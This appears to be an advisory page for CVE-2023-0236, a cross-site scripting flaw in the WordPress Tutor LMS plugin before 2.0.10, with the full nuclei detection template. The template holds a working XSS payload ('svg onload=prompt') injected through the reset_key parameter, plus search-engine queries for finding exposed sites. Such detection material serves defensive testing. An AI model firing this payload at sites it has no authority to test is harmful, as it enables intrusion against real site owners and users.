CVE-2023-0236· themeum / tutor lms· CWE-79
WordPress Tutor LMS <2.0.10 - Cross Site Scripting
WordPress Tutor LMS plugin before 2.0.10 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the reset_key and user_id parameters before outputting then back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against high-privilege users such as admin.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Fixed in version 2.0.10.
How to confirm it
Send: POST /wp-login.php ; GET /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd
Positive when: status_code_2 == 200 and contains(body_2, "<svg onload=prompt(document.domain)>") and contains(body_2, "Instructor Registration")Run it with nuclei: nuclei -id CVE-2023-0236 -u <target>
The full check
id: CVE-2023-0236
info:
name: WordPress Tutor LMS <2.0.10 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Tutor LMS plugin before 2.0.10 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the reset_key and user_id parameters before outputting then back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against high-privilege users such as admin.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 2.0.10.
reference:
- https://wpscan.com/vulnerability/503835db-426d-4b49-85f7-c9a20d6ff5b8
- https://nvd.nist.gov/vuln/detail/CVE-2023-0236
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0236
cwe-id: CWE-79
epss-score: 0.01347
epss-percentile: 0.71678
cpe: cpe:2.3:a:themeum:tutor_lms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: themeum
product: tutor_lms
framework: wordpress
shodan-query: http.html:/wp-content/plugins/tutor/
fofa-query: body=/wp-content/plugins/tutor/
publicwww-query: /wp-content/plugins/tutor/
tags: cve2023,cve,xss,tutorlms,wpscan,wordpress,wp-plugin,authenticated,themeum,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<svg onload=prompt(document.domain)>")'
- 'contains(body_2, "Instructor Registration")'
condition: andReferences
- https://wpscan.com/vulnerability/503835db-426d-4b49-85f7-c9a20d6ff5b8
- https://nvd.nist.gov/vuln/detail/CVE-2023-0236
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from